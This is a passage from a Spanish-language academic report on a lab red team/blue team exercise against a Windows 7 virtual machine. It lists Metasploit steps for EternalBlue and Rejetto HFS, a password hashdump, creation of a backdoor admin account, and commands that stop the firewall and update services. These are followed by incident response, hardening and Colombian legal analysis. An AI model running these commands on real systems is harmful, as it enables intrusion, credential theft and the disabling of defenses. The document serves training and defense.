Por otra parte, se crea un usuario utilizando el primer nombre y apellido, con el objetivo
de demostrar una prueba de concepto ante los directivos. La creacion del usuario se realizd
mediante el comando net user Santiago Ruiz /add, y posteriormente se le asigno privilegios de

administrador con el comando net localgroup administradores Santiago Ruiz /add.
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Figura 12

Creacion usuario privilegiado en la maquina objetivo Win7

& o : &

» b @ vl1 2 3 4 SI@=
BemP o] = — -
= kali@kali: ~
File Actions Edit View Help (] O 8 1921688034 b7 ® A =
=5 e )
&5\ [® « Cuentas de usuario » Administrar cuentos <[4 2= o]

ersien 6.1.7601]
t Corporation. Reservados todos derechos.
Elegir la cuenta que desee cambiar

usuario ‘S\:nua?o‘;?\u.z
Administrador ministrador i
Protegida por contraseia

Invitado
La cuenta de invitado esta desactivada

e antiago_Ruiz 1 /add
ntiago_Ruiz 12345 /add
Se ha completado el comando correctamente.

et localgroup administrators Santiago Ruiz /add
strato ntia add

C:\Windows\system:
net localgroup ad
Se ha completado

C:\Windows\
Crear una nueva cuenta

Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar

# Configurar Control parental

Ira I pagina principal de Cuentas de

Fuente: Elaboracion propia.

De manera similar a como se explota la vulnerabilidad en HFS, la falla conocida
EternalBlue puede ser aprovechada para tener acceso al sistema objetivo. Una vez

comprometido, se podria escalar privilegios y ejecutar cualquier tipo de accidn con permiso

elevados. Por ejemplo, se podria desactivar el firewall del sistema.

Figura 13

Ejecucion de exploit Eternalblue

- P o]

Actions Edit View Help

ndows 7 Professio

nned 1 of 1 hests
i rulnerable.

cated by
Groom All ions.
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Fuente: Elaboracion propia.

Figura 14
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Sesion en meterpreter por Shell para desactivar firewall y update en Win?7.

Santiago R [Corriendo] - Oracle VM VirtualBox
dmP O 2 34 |B

lali@kali: ~
! File Actions Edit View Help

, NOT_PAUSABLE, IGNORES_SHUTDOWN)

USABLE, IGNORES_SHUTDOWN )

Fuente: Elaboracion propia.

Impacto

& v 4 Copia [Corrienda] - Oracle VM VirtualBox _ o
=EE=]
\/\/ [ < Sistema y segurided » Fircwall de Windows ~[#2 [[Buscar en el Panel de contro 2]
Vent: I del Panel d @
oo principal delPanelde yyde a proteger su equipa con Firewall de Windows

Permiti un pr Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan

i acceso al equipo a través de Internet o de una red.
Firewall de Windows £C6mo me ayuda un firewall 2 proteger mi equipo?

@' Cambiar la configuracién de 2Qué son las ubicaciones de red?
notificaciones

&' Activar o desactivar Firewall de Actualizar configuracién de firewall
R Firewall de Windows no estd usando la

@ Restaurar valores para
predeterminados proteger el equipo.

) Configuracién avanzada Cusles |

(Cusl es la config
recomendada?
Solucién de problemas de red

==
C/\/ [] « Sistemay seguridad » Windows Update ~ [ 3 ][ Buscar en etPanet de control 2]
]

Ventana pincip e Pnel de Windows Update

ambior configuracién ) Buscar actualizaciones para el equipo
Ver historial de actualizaciones. \/ las a te
mejorar la seguridad y el rendimiento del equipo.

Buscar actualizaciones

Restaurar actualizaciones

Busqueda mas reciente de actuslizaciones;  Nunca
Seinstalaron las actualizaciones: Nunca
Recibe actualizaciones: Sélo para Windows

El impacto de un ataque exitoso podria comprometer la confidencialidad, integridad y

disponibilidad del sistema. Al obtener acceso con privilegios de SYSTEM mediante exploits

como EternalBlue o Rejetto HFS, un usuario no autorizado atacante tendra la capacidad de

manipular archivos, instalar puertas traseras, extraer hashes de contrasenas y modificar las

politicas de seguridad del sistema. Colocando en riesgo al sistema comprometido y

comprometiendo otros dispositivos dentro de la red interna mediante técnicas de movimiento

lateral o pivoting.



Figura 15

Arquitectura de ataque
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Fuente: Elaboracion propia.

Comandos utilizados

Exploit
Ejecuta
exploit 9
a </>
-_—

Intenta
acceder al
sistema

— | Accede al
sistema

Toma el
control del
PC

Acceso al
sistema

vulnerable

A lo largo de la simulacion por parte del equipo Red Team se emplearon diversos

comandos descritos en la tabla 4.

Tabla 4

Resumen de comandos utilizados en Red Team

Fase Comando / Herramienta

Informacién

Recoleccion Ip route

Identifica la red y el rango de
IPs
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Identificacion

Explotacion (HTTP)

Post- explotacion

Dano

nmap 192.168.80.34

nmap -A 192.168.80.34

nmap 192.168.80.34 —script vuln

mfsconsole

Search CVE-2017-0143

Search CVE-2024-23692

Searchsploit 34926

Search rejetto

Use exploit/Windows/http/rejetto_hfs_exec

Set rhosts, report, lhost

Set rhosts 192.168.80.34

Sysinfo, getsystem, getuid

Run post/Windows/gather/hashdump

shell

net user Santiago Ruiz 12345 /add

net localgroup administradores

sc stop MpsSvc

Sc stop wuauserv

Escaneo bésico de puertos y
servicios

Escaneo avanzado con
deteccion de SO y versiones

Identifica vulnerabilidades con
scripts NSE

Lanza la consola de
Metasploit

Busqueda de modulo para
EternalBlue

Busqueda de nuevas
vulnerabilidades para Rejeto

Exploit local / remoto para
Rejetto HFS

Exploits disponibles para
HTTP File Server Rejetto

Modulo para explorer Rejetto
Parametros del exploit

Configuracion y ejecucion del
exploit

Recolectar info y esclar
privilegios en Meterpreter

Extrae hashes del Sistema
comprometido

Accede a la consola CMD del
sistema Windows

Crea usuario nuevo

Asigna privilegios de
administrador

Detiene el firewall de
windows

Detiene las actualizaciones
automaticas
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Nota: La tabla resume los comandos utilizados durante el ejercicio de intrusion sobre una maquina
Windows 7, estucturando las fases de ataqu. Ademas, detalla las herramientas empleadas: Nmap,
Metasploit y Searchsploit, y destaca las acciones realizadas que comprometen al sistema. Fuente:
Elaboracion propia.
Simulacion del Blue Team
Respuesta inmediata
La primera medida ante un ataque cibernético es intentar detener su propagacion, lo cual
se lograria desconectando el sistema afectado de la red para evitar que el software malicioso
continue propagéandose o exfiltrando los datos. En particular, si se estuviera ejecutando un
payload personalizado generado con la herramienta Msfvenom, es importante tomar
precauciones inmediatas. Estos payloads pueden ser entregados a través de servidores como
HFS, lo que permite la ejecucion remota de cédigo malicioso, facilitando su expansion y control
sobre el sistema operativo afectado por parte de un ciber atacante (MITRE ATT&CK, s.f.).
También hay que considerar la amenaza de atacantes internos, como empleados que
pueden filtrar informacion. Por eso, es importante mantener un control adecuado y monitorear el
comportamiento de los usuarios (WNE Security, 2025).

Figura 16

Desconexion del sistema comprometido WIN7-SE2020-X64 de la red

Ea 0 Doy e ISl G ] crre

Fuente: Elaboracion propia.
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Es importante no apagar el equipo, ya que esto podria eliminar informacion almacenada

en la memoria volatil o en los registros del sistema, datos que son importantes para realizar un

analisis forense adecuado (Gonzales de la Calleja, 2017).

Una accion inmediata es deshabilitar los accesos remotos, como RDP y SSH, y bloquear

las cuentas comprometidas para evitar que el atacante mantenga el control del sistema.

Figura 17

Deshabilitar servicio remoto en Win7-SE20X64
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Para impedir el uso remoto de este
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ficha Acceso remoto, en el elemento
Propiedades del sisterna del Panel de
control.
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L4 Servicio de directivas de diagnostic
£ Servicio de entrada de Tablet PC
L Servicio de lista de redes
£ Servicio de Media Center Extender
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£ Servicio de perfil de usuaric
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L Servicio Informe de errores de Wind
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54 Servicio Programador de Windows |

L4 Servicio Recepter de Windows Med

L Servicios de base TRM

Genersl | Inigiar sesién | Recuperacién | Dependenciasl

Nombre de servicio:  TermService

Nombre para mostrar:  Servicios de Escritorio remoto

Descripcién Permite a los usuarios conectarse de forma -
Interactiva a un equipo remoto. Escritorio remoto
Ruta de acceso al ejecutable

C\Windows'\ System32'svchost.exe 4 Metwork Service

Tipo de inicio: Deshabilitado 7

Ayudame a configurar las opciones de inicio de servicios.

Estado del servicio: ~ Detenido

Iniciar
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" Servicios

Archive  Accién  Ver Ayuda

2 EEHd= Hm e mne

B =R

£, Servicios (locales) ' Senvicios (locales)

Servicios de Escritorio remoto Nombre Descripcién Estado Tipo de inicio Iniciar sesién como
L % Servicio de directivas de diagnostico  El Servicio de directivas de diagnostico per...  Iniciado Automitico Servicio local
B::r:ilf;golr;; ususrios conectarse de % Servicio de entrada de Tablet PC Habilita la funcionalidad de lapiz y entrada ... Manual Sistema local
forma interactiva a un equipo S Servicio de lista de redes Identifica las redes a las que se conecté el e...  Iniciado Manual Servicio local
remoto. Escritorio remoto y el % Servicio de Media Center Extender Permite que los Media Center Extenders ubi... Deshabilitado Servicio local
servidor host de sesion de Escritorio . Servicio de notificacién de eventos d...  Supervisa los eventos de sistema y notifica ... Iniciado  Automatico Sistema local
remoto dependen de este servicio. . . e . - A, . - .
Para impedir el uso remato de este «: Servicio de notificacién de 55P Proporciona notificacidn y activacion de lic...  Iniciado Manual Servicio local
equipo, desactive las casillas de la L Servicio de perfil de usuario Este servicio es responsable de cargar y des..  Iniciado Automitico Sistema local
ficha Acceso remoto, en el elemento 07 Servicio de protocole de tinel de sec.. Ofrece compatibilidad con el protocelo de ... Manual Servicio lecal
E;Unii:“iadis del sistema del Panel de 2 cervicio de publicacion de nombres .. Este servicio publica un nombre de equipo .. Manual Servicio local
’ % Servicio de puerta de enlace de nivel ... Properciona compatibilidad entre los comp.. Manual Servicio local
% Servicio de transferencia inteligente ...  Transfiere archives en segundo plane medi... Manual Sistema local
% Servicio de uso compartido de puert..  Ofrece |a posibilidad de compartir puertos ... Deshabilitado Servicio local
% Servicio de uso compartido dered d...  Comparte las bibliotecas del Reproductor d...  Iniciado Automitice (i.. Servicio de red
. Servicio del iniciador iSCSI de Micro Administra las sesiones SCSI de Internet (iS. Manual Sistema local
% Servicio del médule de copia deseg..  Copias de seguridad de Windows usa el ser... Manual Sistema local
% Servicio enumerador de dispositivos ... Exige el cumplimiento de directivas de grup... Manual Sistema local
% Servicio Informe de errores de Windo... Permite informar de errores cuando los pro... Manual Sistema local |
% Servicio Interfaz de almacenamiento ... Este servicio entrega notificaciones de red (.. Iniciado Automitico Servicio local
% Servicio Programador de Windows ... Inicia y detiene la grabacién de programas ... Manual Servicio de red £
L Servicio Receptor de Windows Media.. Servicic de Windows Media Center para lar... Manual Servicio de red
L Servicios de base TPM Permite el acceso al TPM (Madulo de plataf... Manual Servicio local i
% Servicios de cifrade Proporciona cuatre servicios de administra, Iniciado Automitico Servicio de red
a los usuarios conectarse de forma Deshabilitado
i Servidor Ofrece compatibilidad con uso compartido...  Iniciado Automatice Sistema local -
4] n | »
<[ m v Exendido 4 Estandar
Fuente: Elaboracion propia.
Figura 18
Directivas de seguridad local bloqueo de cuenta
0-X64 [Corriendo] - Orac tual = O X

= Directiva de seguridad local

Archivo  Accién  Ver
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Configuracién de seguridad
4 |4 Directivas de cuenta

‘4 Directiva de contrasefias
» 4 Directiva de blequeo de cuenta
‘5, Directivas locales
| Firewall de Windows con seguridad a
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Fuente: Elaboracion propia.

1) Duracién del bloqueo de cuenta
1z Restablecer el blogueo de cuenta después de
2z Umbral de bloqueo de cuenta

Configuracién de seguri...
5 minutos
3 minutos
5 intentos de inicio de s...

El analisis de los registros del sistema permite detectar actividades sospechosas, como

intentos de inicio de sesion ejecutados por un usuario recientemente creado con privilegios

elevados (Microsoft, 2025).
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Este analisis detalla el inicio de sesion y la creacion de un usuario Santiago Ruiz en el
sistema Windows 7.

Figura 19

Consulta de logs del sistema Win7-SE2020-X64
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Fuente: Elaboracion propia.

Un analisis detallado del trafico de red con el objetivo de identificar posibles
comunicaciones sospechosas asociadas con el ataque, utilizando la herramienta Wireshark para
capturar y examinar los paquetes de datos en tiempo real (Wireshark, s.f).

Los colores que presenta Wireshark brindan informacion visual importante sobre el
analisis del trafico de red. Por ejemplo, el color rojo indica un problema serio, ya que el paquete
contiene un error. El amarillo sefiala que se debe prestar atencion, ya que el paquete genera una
advertencia. El celeste destaca situaciones fuera del comportamiento normal, mientras que el gris

representa informacion de flujo normal.
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Figura 20

Captura de trafico con Wireshark
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Fuente: Elaboracion propia.

La captura de trafico detalla que un usuario Anonymus intento varias veces acceder al
sistema Windows 7.

Otra accion clave es generar imdgenes forenses de la memoria RAM vy el disco duro
utilizando herramientas como FTK Imager o Autopsy, con el fin de preservar la integridad de la
informacion y garantizar que no haya sido modificada, conforme a los estandares recomendados
por la oficina de las naciones unidas (UNODC, 2024).

Figura 21

Volcado de memoria RAM
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Fuente: Elaboracion propia.
Se debe verificar el estado del firewall del sistema operativo, ya que un firewall
deshabilitado representa una superficie de ataque significativa.

Figura 22

Verificacion de software
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Fuente: Elaboracion propia.
Es clave examinar los procesos en ejecucion, evaluar posibles modificaciones en
aplicaciones instaladas y revisar las configuraciones del sistema.

Figura 23

Procesos en ejecucion.
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Fuente: Elaboracion propia.
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Figura 24

Programas y caracteristicas
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Fuente: Elaboracion propia.
Se recomienda revisar los puertos abiertos y servicios activos dentro del sistema, asi
como inspeccionar los dispositivos actualmente conectados a la red.

Figura 25

Puertos y servicios del sistema Win-SE2020-X64
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Fuente: Elaboracion propia.
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Figura 26

Dispositivos conectados a la red
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Fuente: Elaboracion propia.

Como ultimo paso es importante aplicar medidas de contencidn para bloquear el acceso
de los atacantes y minimizar los dafios, mientras se continua con la investigacion para determinar
el alcance y origen del ataque.

De acuerdo con el NIST (2012), Una vez finalizado el proceso técnico de identificacion
de los procesos de hardware y software en ejecucion en el equipo comprometido, se procede a
implementar las fases de prevencion, deteccion, recuperacion y respuesta como parte de la

evaluacion del incidente:
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Prevencion: Esta fase esta orientada a aplicar las metodologias proactivas que permitan
recopilar informacion relevante, identificar procesos de comunicacion del sistema y educar al
usuario en practicas preventivas para reducir el riesgo de incidentes de seguridad.

Deteccion: Esta fase esta orientada en el ataque en curso, permitiendo determinar su
alcance y el posible dafio sobre la informacion del equipo comprometido. Ademas, se lleva a
cabo un monitoreo activo en el sistema y se identifican las personas que han interactuado con el
equipo. Con el fin de obtener informacion relevante mediante entrevistas y cuestionarios.
Contribuyendo a una recuperacion precisa de los datos y una evaluacion detallada del incidente.

Recuperacion: Esta fase estd orientada en mitigar las consecuencias del ataque utilizando
herramientas de contencion adecuadas que reduzcan el impacto y las incidencias generadas. En
primer lugar, se implementan medidas para detener el ataque en curso y eliminar cualquier
amenaza presente. Posteriormente, se activan medidas para restaurar la integridad de los sistemas
y proteger la informacion sensible, como el robo de datos. Finalmente, se retorna a la normalidad
operativa mediante la elaboracion de nuevos planes de contingencia basados en lecciones
aprendidas del incidente. Creando y manteniendo copias de seguridad como parte del proceso
preventivo y continuo.

Respuesta: Esta fase estd orientada en comunicar de manera clara y oportuna a todos los
interesados de la organizacion, incluyendo clientes, empleados y la alta gerencia, acerca de los
eventos ocurridos. El objetivo es informar sobre las consecuencias del ataque, las medidas
adaptadas para asegurar la continuidad de los procesos organizacionales y las acciones que se
estan implementando para mitigar futuros riesgos. Ademas, se propone una conferencia para
responder dudas e inquietudes relacionada con el proceso de recuperacion, y abordar las posibles

implicaciones a largo plazo del incidente.
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Medidas de hardening

Las medidas de endurecimiento son importantes para reforzar la seguridad de los
sistemas y prevenir que los atacantes aprovechen las mismas vulnerabilidades en el futuro. En
este sentido, se describen las acciones que se deben tomar para mitigar las fallas que fueron
explotadas durante el ataque y fortalecer las defensas del sistema afectado (Australian Cyber
Security Centre, 2025).

Fortalecer la seguridad de Windows: Actualizar a versiones mas recientes y con soporte
activo, como Windows 11. El uso de versiones obsoletas como Windows 7 representa un riesgo
significativo, ya que este sistema no recibe actualizaciones de seguridad, lo que lo deja expuesto
a ataques.

Si por alguna razon no es posible actualizar a una version mas reciente de Windows, se
deben aplicar ciertas medidas de seguridad para reducir los riesgos. Entre ellas se incluyen:
restringir y segmentar el acceso a la red, deshabilitar servicios innecesarios como el protocolo
SMBvV1, conocido por sus vulnerabilidades, utilizar un antivirus actualizado, aplicar parches de
seguridad disponibles, y reforzar las politicas de control de cuentas y contrasefias.

Politicas de seguridad: Adoptar politicas de seguridad claras y eficaces para garantizar la
proteccion de los sistemas y recursos organizacionales. Estas politicas deben definir buenas
practicas en el uso de recursos tecnologicos, los niveles de acceso seglin funciones, el manejo de
contrasefias y gestion de credenciales, implementacion de herramientas como BitLocker y los
procedimientos ante incidentes.

Deteccion: Implementar soluciones avanzadas deteccion en los endpoints, como las
soluciones EDR y XDR, que permiten detectar, contener y responder de forma proactiva ante

software malicioso y técnicas de ataque modernas.
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Seguridad perimetral: Implementar y configurar firewalls para restringir el acceso a
puertos innecesarios, como SMB y RDP, los cuales son explotados cominmente por los
atacantes. Ademas, se recomienda configurar sistemas de deteccion y prevencion de intrusos
(IDS/IPS) para detectar y responder actividades sospechosas en la red. Segmentando la red para
limitar el movimiento lateral de los atacantes.

Control de acceso: Implementar controles de acceso adecuados y robustos para proteger
los recursos criticos de la organizacion. Esto incluye aplicar el principio de privilegio minimo,
otorgando a cada usuario Uinicamente los permisos necesarios para desempefiar sus funciones.
Asimismo, la implementacion de soluciones DPL permite prevenir la fuga de informacion
sensible, cumpliendo con la proteccion de datos. Ademads, es importante restringir el acceso
remoto mediante protocolos como RDP o VNC. En su lugar, es preferible utilizar conexiones
seguras a través de VPN, reforzadas con autenticacion multifactor (MFA) para garantizar el
acceso seguro a los sistemas.

Actualizacion y parches de seguridad: Aplicar de forma regular las actualizaciones y
parches de seguridad en los sistemas operativos y aplicaciones, con el fin de prevenir la
explotacion de vulnerabilidades conocidas. Se recomienda las actualizaciones automaticas
siempre y cuando sea posible. Ademas, se debe realizar auditorias de seguridad periodicas para
identificar brechas y asegurar que todo el entorno este correctamente actualizado.

Capacitacion: Es importante sensibilizar al personal sobre amenazas de seguridad, los
riesgos asociados al error humano y las acciones preventivas que deben tomarse. Brindar
formacion continua en buenas practicas de ciberseguridad ayuda a reducir incidentes,
fomentando una cultura de seguridad dentro de la organizacion y fortaleciendo la primera linea

de defensa que son usuarios en sus puestos de trabajo.
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Acciones para considerar: Es recomendable eliminar el servidor HFS del sistema, ya que
presenta vulnerabilidades conocidas que pueden ser explotadas por atacantes. Mantener software
obsoleto o inseguro aumenta la probabilidad de comprometer el sistema.

Articulacion con marcos normativos: Estas practicas deben estar alineadas con marcos
normativos, como la norma ISO 27001:2022, que establece requisitos para un SGSI e incluye
controles en su anexo A, y el marco NIST, que proporciona directrices y estandares detallados
para fortalecer la ciberseguridad de las organizaciones. Lo anterior se detalla en la tabla 5.

Tabla 5

Medidas de seguridad bajo marcos y normativa

Medida implementada ISO 27001.2022 NIST SP 800-53 Amenaza

Deshabilitar SMBv1 A.8.8 (Gestion de CM-7 (minima Ataques WannaCry
vulnerabilidades) funcionalidad)

Actualizar sistema operativo  A.7.13 (Mantenimiento de  SI-2 (gestion de Exploits en sistemas
equipos) correcciones) EOL (Obsoleto)

Activar firewall y restringir ~ A.8.20 (Seguridad de redes) SC-7(proteccion de Escaneo de puertos y
puertos limites) ataques DoS

Implementar MFA en RDP A.5.17 (Informacion de [A-2 (identificacion Ataques de fuerza

autenticacion) y autenticacion) bruta

Copias de seguridad A.8.13 (Copias de CP-9 (recuperacion Ransomware
seguridad) de backups)

Monitoreo con SIEM A.8.15 (Registro) AU-8 (Analisis de  exfiltracion de datos

registros)

Deshabilitar servicios remotos A.6.7 (Acceso remoto) AC-17 (Acceso Acceso no autorizado

(RDP/SSH) remoto)

Instalacion antivirus A.8.7 (proteccion contra SI-3 (proteccion inyeccion de Codigo
malware) contra malware)

Nota: La tabla presenta las medidas de seguridad implementadas en el escenario, alineadas con los

controles establecidos por la norma ISO 27001:2022 y el marco NIST SP 800-53 Rev 5. Fuente:

Elaboracion propia.
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La norma ISO y el marco NIST proporcionan al equipo Blue Team una guia clara y
estructurada para actuar ante incidentes de seguridad. Estas referencias permiten adoptar un
enfoque técnico y sistematico en la gestion de incidentes, mejorando la capacidad de respuesta
frente a ataques cibernéticos. Al seguir buenas practicas se fortalece la proteccion de los sistemas
y se asegura el cumplimiento normativo en seguridad de la informacion.

En la maquina comprometida se aplicaron recomendaciones generales de seguridad con
el objetivo de reforzar la proteccion del sistema. Estas acciones incluyeron la activacion del
firewall, la actualizacion del sistema operativo mediante Windows update y la instalacion del
antivirus con reglas de control de trafico. Estas medias ayudan a mitigar vulnerabilidades
detectadas como Rejetto HFS. Ademas, el monitoreo de la actividad del usuario permite detectar
y prevenir incidentes antes de comprometer la seguridad (Digital Guardian, 2025).

Figura 27

Configuracion activacion del firewall WIN7-SE2020-X64
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Fuente: Elaboracion propia.
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Figura 28

Activacion de actualizaciones de Windows
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Fuente: Elaboracion propia.

Figura 29

Instalacion de antivirus Avast
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Fuente: Elaboracion propia.
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Efectividad

Se realizo6 el ejercicio del vector de ataque con el objetivo de evaluar la efectividad de los
procesos implementados para la minimizacion del riesgo informatico. Como resultado de las
medidas implementadas, la vulnerabilidad ya no pudo ser explotada, lo que se evidencid
mediante el mensaje de respuesta “but no sesion was created”, lo que indica que el intento de
explotacion fue bloqueado exitosamente.

Figura 30

Ataque fallido de exploit con Rejetto

esslon was created.

msfé exploit(

Fuente: Elaboracion propia.
Lecciones aprendidas

Durante el desarrollo del seminario, se identificaron diversos aprendizajes técnicos
importantes que, al ser gestionados adecuadamente, pueden fortalecer la postura de
ciberseguridad organizacional. Lo anterior se resumen en la tabla 6.

Tabla 6

Lecciones aprendidas

Actividad Hallazgo clave Accion recomendada

Deteccion temprana  Ausencia de monitoreo impide Implementar una solucién SIEM con reglas de
de amenazas identificar ataques en fases correlacion y alertas en tiempo real.
iniciales

Endurecimiento de ~ Configuraciones por defecto  Aplicar una lista de chequeo de endurecimiento,
sistemas dejan servicios expuestos como desactivar servicios innecesarios y forzar
actualizaciones automaticas.
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Protocolos de Falta de procedimientos atrasa Establecer un playbook IR con pasos definidos,
respuesta ante la contencion como aislamiento de sistemas, recoleccion de
incidentes evidencias.

Concienciacion del ~ Personal ignorante y los ataques Realizar campafias de capacitacion periodicas
usuario empiezan por ingenieria social sobre amenazas y simulacros de phishing.

Gestion y analisis de  Logs sin centralizar dificultan Centralizar registros con herramientas como
logs el analisis forense Wazuh con retencién minima a 90 dias

Entrenamiento técnico La falta de practica debilita la  Realizar simulacros coordinados entre los equipos
continuo respuesta real ante incidentes  estratégicos

Nota: La tabla sintetiza las principales lecciones derivadas de las simulaciones ofensivas y defensivas
realizadas en el entorno de CyberFort Technologies, estableciendo medidas técnicas concretas en cada
hallazgo. Fuente: Elaboracion propia.

Por ello, es importante que las organizaciones implementen estrategias para prevenir y
reducir amenazas cibernéticas (Goémez, 2023).

Margen legal Colombia

Actualmente en Colombia existen marcos regulatorios enfocados a delitos informéaticos y
la proteccion de datos personales. Entre ellas podemos encontrar las siguientes:

Ley 1273 de 2009 Proteccion de la informacion y los Datos: La presente ley modifico el
Cdédigo Penal colombiano para incluir delitos informaticos, protegiendo la integridad de los
sistemas y la informacion digital. Contiene sanciones y penas de prision por el acceso abusivo a
sistemas informaticos, la intercepcion de datos, el uso indebido de software malicioso y el dafio a
sistemas informaticos (MINTIC, 2009).

Ley 1581 de 2012 Proteccion de Datos Personales: Proporciona un marco general con el
objetivo de proteger los datos personales en Colombia, dando a cada persona el derecho a decidir
como se usa su informacion privada. Contiene principios de legalidad, seguridad, acceso y

circulacion restringida, confidencialidad y finalidad del tratamiento de datos personales. Exige a
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las empresas obtener el consentimiento de los clientes para la recoleccion y procesamiento de
datos personales (Congreso de Colombia, 2012).

Decreto 1377 de 2013: Es un complemento de la ley 1581 de 2012. Reglamenta el
tratamiento de datos personales en bases de datos publicas y privadas. Define las condiciones
para la recoleccion y procesamiento de datos. Exige a las empresas obtener el consentimiento de
los clientes antes de utilizar sus datos, asi como implementar medidas de seguridad para prevenir
filtraciones y accesos no autorizados. Establece mecanismos de denuncia y sancion en caso de
incumplimiento (Congreso de Colombia, 2013).

Ley 1712 de 2014: Establece la regulacion que garantiza la transparencia y el acceso a la
informacion publica en Colombia, reconociendo el derecho de los ciudadanos a acceder a la
informacion publica de carécter nacional (Congreso de Colombia, 2014).

Decreto 103 de 2015: Establece la reglamentacion parcial de la ley 1712 de 2014,
definiendo el objeto, ambito de aplicacion y estdndares para la publicacion de la informacion
publica en Colombia. El decreto busca garantizar acceso a los datos de forma clara y estructurada
(Congreso de Colombia, 2015).

Ley 1928 de 2018: Convenio internacional para luchar contra el cibercrimen. Establece
normas y procedimientos para que los paises cooperen entre si para combatir delitos
informaticos, como robo de datos y fraude en linea (Congreso de Colombia, 2018).

Decreto 338 de 2022: Establece un marco normativo integral para fortalecer la
gobernanza de la seguridad digital en Colombia. Contiene criterios y procedimientos para
identificar infraestructuras criticas cibernéticas y servicios esenciales. Promueve la gestion de
riesgos digitales e implementa mecanismos para prevenir, detectar y dar respuesta frente a

incidentes de ciberseguridad (Congreso de Colombia, 2022).
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Ley 842 de 2003: Establece el régimen legal para el ejercicio de ingenieria en Colombia.
Define los principios éticos, responsabilidades y competencias de los profesionales (Congreso de
Colombia, 2003). Esta normativa abarca aspectos relacionados con la ciberseguridad aplicables a
los ingenieros en ese campo (MINEDU, 2023).

Se presenta el acuerdo de confidencialidad de CyberFort Technologies, en el cual se
pueden identificar las siguientes inconsistencias en las clausulas que se detallan en la tabla 7.

Tabla 7

Andalisis de inconsistencias acuerdo de CyberFort Technologies

Clausula Contenido Inconsistencia identificada Normas y leyes
vulneradas
Primera Prohibe divulgar Impide denuncias ante Ley 1273 de 2009 Art
informacion, incluso sobre autoridades, contraviene 269F; Constitucion
actos ilegales principios éticos politica de Colombia
Art 95
Segunda Define informacién Incluye practicas ilegales  Ley 1273 de 2009 Art
confidencial, incluyendo como “Chuzadas” sin 269A y 269C
datos de intercepciones ~ mencionar autorizacion
judicial
Tercera Describe los medios de ~ Omite procedimientos Ley 1273 de 2009 Art
transmision de legales para la adquisicion 269G

informaciodn confidencial de informacidn

Cuarta Establece obligaciones Promueve el ocultamiento Ley 1273 de 2009 Art
para la parte receptora, de delitos, transgrede la 269F; COPNIA Art 31
incluyendo no denunciar ética profesional y 35

espionaje o actos ilegales

Octava Requiere acudir a abogado Elude responsabilidad Ley 1273 de 2009 Art
privado y exime de institucional, contradice 269B
responsabilidad a la principios de debida
empresa diligencia legal

Nota: La tabla presenta ciertas clausulas del acuerdo de confidencialidad que contradicen normas legales
colombianas y principios éticos. Fuente: Elaboracion propia.

El contrato incluye clausulas que violan la ley 1273 de 2009 y el Codigo de Etica

COPNIA, lo que expone al profesional a consecuencias legales. Ademas, compromete la triada
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CIA de la informacién afectando la confianza al impedir actuar de forma legal y ética. Por tanto,
dicho contrato no se debe firmar bajo ningin concepto. En este contexto, es importante que las
organizaciones cuenten con un equipo legal interno capacitado que garantice el cumplimiento
normativo, defienda los principios éticos corporativos y actie con agilidad ante incidentes que
afecten la seguridad de la informacion (Legal Consulting Pro, 2024).

Aspectos de los equipos estratégicos

Reglas y enfoques

Blue Team: Requiere protocolos estrictos para proteger sistemas y responder a incidentes.
Debe seguir normas éticas y legales en todas sus acciones.

Red Team: Opera sin restricciones durante las pruebas, emulando tacticas reales de ciber
atacantes Su libertad permite identificar vulnerabilidades que un atacante podria explotar.
Documentacion detallada

Registrar paso a paso todos los procedimientos de ataque simulados y defensa, con el
objetivo de facilitar la capacitacion de nuevos integrantes y permitir mejoras continuas en las
estrategias.

Aprendizaje continuo

La ciberseguridad evoluciona constantemente, ambos equipos deben mantenerse
actualizados en nuevas técnicas de ataque y defensa. Participar en entrenamientos y simulacros
periodicos. Ademas, el conocimiento compartido entre equipos fortalece la seguridad de la

organizacion.
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Conclusiones

La necesidad de un plan de seguridad en todas las organizaciones: No importa el tamafio
o alcance de la organizacion, todas deben contar con un plan de seguridad estructurado y
adaptado a sus necesidades para proteger su informacion.

La importancia de equipos estratégicos: La presencia de equipos capacitados como el
Blue Team (defensores) y Red Team (atacantes éticos) marca la diferencia en la capacidad de
una organizacion para identificar vulnerabilidades y responder rapidamente ante ciber amenazas.
La colaboracién de los dos equipos permite un enfoque integral para proteger la infraestructura
tecnologica. Durante el ejercicio se logro explotar vulnerabilidades criticas como EternalBlue y
Rejetto HFS, lo que evidencio la necesidad de aplicar medidas basicas de seguridad.

Medidas basicas para la proteccion de sistemas: Las medidas basicas de seguridad, como
mantener el antivirus y firewalls actualizados, monitorear y crear puertos innecesarios, desactivar
accesos remotos riesgosos y gestionar adecuadamente los permisos de archivo y carpetas, son
esenciales para prevenir ataques y proteger los sistemas de posibles vulnerabilidades.

La ciberseguridad moderna: En la actualidad, la ciberseguridad no solo se basa en
implementar estrategias técnicas, también busca establecer procesos sistematicos para analizar,
gestionar riesgos y cumplir con normativas que garanticen la triada CIA de los datos.

La ética profesional debe prevalecer: Ningtin incentivo econdmico justifica comprometer
los principios éticos y profesionales. La integridad, el compromiso con la proteccion de la
informacion y la responsabilidad social deben prevalecer sobre cualquier oportunidad que

promueva actividades ilegales o dafiinas para la sociedad.
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Recomendaciones

Acceso remoto seguro: Utilizar canales seguros cifrados como VPN.

Actualizacion constante de herramientas: Mantener software de seguridad siempre
actualizado y con licencias vigentes. Ademas, monitorear regularmente las herramientas de
deteccion y contencion de vulnerabilidades.

Politicas claras y capacitacion: Implementar politicas de seguridad accesibles para todos
los empleados, con capacitaciones periodicas sobre normativas y buenas practicas. Ademas,
socializar el cddigo de ética y su aplicacion en las actividades diarias de cada area.

Control de accesos y permisos: Limitar los privilegios de administrador, asignando
cuentas con accesos restringidos segun las necesidades laborales. Restringir la instalacion de
software no autorizado para evitar programas maliciosos.

Copias de seguridad: Realizar respaldos periddicos de los datos verificando su integridad
y disponibilidad ante posibles incidentes.

Proteccion de datos y dispositivos: Garantizar que solo personal autorizado acceda a los
datos sensibles, con protocolos claros para su manejo. Ademas, se debe asegurar dispositivos
fisicos y redes inalambricas, evitando su exposicion a terceros.

Preparacion ante emergencias: Disefiar protocolos para actuar ante amenazas fisicas y
fugas de informacion. Evitar delegar responsabilidades criticas a empleados nuevos sin previa
evaluacion de confidencialidad.

Monitoreo y defensa: Establecer un sistema de monitoreo permanente para prevenir y
reducir amenazas en tiempo real.

Segmentacion de red: Utilizar VLANS para aislar los sistemas criticos y contener los

posibles incidentes.
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Anexos
Anexo A
Enlace del video

